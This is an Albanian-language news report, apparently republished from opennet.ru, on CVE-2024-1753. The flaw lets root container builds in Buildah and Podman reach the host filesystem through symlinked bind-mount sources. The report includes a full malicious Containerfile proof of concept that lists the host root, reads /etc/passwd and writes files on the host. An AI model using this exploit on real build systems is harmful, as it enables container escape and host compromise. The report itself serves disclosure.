Vulnerabilitet në Buildah dhe Podman që lejon kalimin e izolueseve të kontejnerëve

Në paketat Buildah dhe Podman është zbuluar një dobësi (CVE-2024-1753) që lejon akses të plotë në sistemin e skedarëve të ambientit host gjatë fazës së ndërtimit të kontejnerit që ekzekutohet me të drejtat root. Në sistemet me SELinux të aktivizuar, aksesin në sistemin e skedarëve të host-it e kufizon vetëm në mënyrën e leximit. Një rregullim është aktualisht në dispozicion si një patch, i cili u miratua disa minuta më parë në kodin burimor të Buildah.

Dobësia shkaktohet nga fakti se gjatë montimit të pjesëve të sistemit të skedarëve përmes urdhrit "mount --bind" gjatë ndërtimit në fazën RUN, argumenti me katalogun burimor (parametri "source=") nuk kontrollohet nëse ekziston në sistemin e skedarëve të rrënjës. Një skedari konfiguruar nga sulmuesi Containerfile mund të përdorë një imazh kontejneri, në të cilin katalogu burimor për montim është paraqitur si një lidhje simbolike në sistemin e skedarëve të rrënjës. Në këtë rast, operacioni i montimit do të çojë në montimin brenda kontejnerit të sistemit të skedarëve të ambientit host, duke lejuar në fazën RUN të aksesit të plotë në sistemin e skedarëve të ambientit host dhe mundësinë e daljes nga kontejneri gjatë ndërtimit përmes komandave "buildah build" ose "podman build".

Shembulli i një skedari Containerfile të dëmshëm, ndërtimi i të cilit me komandën "podman build -f ~/Containerfile ." do të çojë në shfaqjen e përmbajtjes së /etc/passwd dhe krijimin e skedarëve /BIND_BREAKEOUT dhe /etc/BIND_BREAKOUT2 në ambientin host: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "Me eksploit, shfaq host root, jo rrënjën e kontejnerit, dhe krijo /BIND_BREAKOUT në / në host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "Me eksploit, shfaq host /etc/passwd, jo të kontejnerit, dhe krijo /BIND_BREAKOUT2 në /etc në host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Burimi: opennet.ru

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster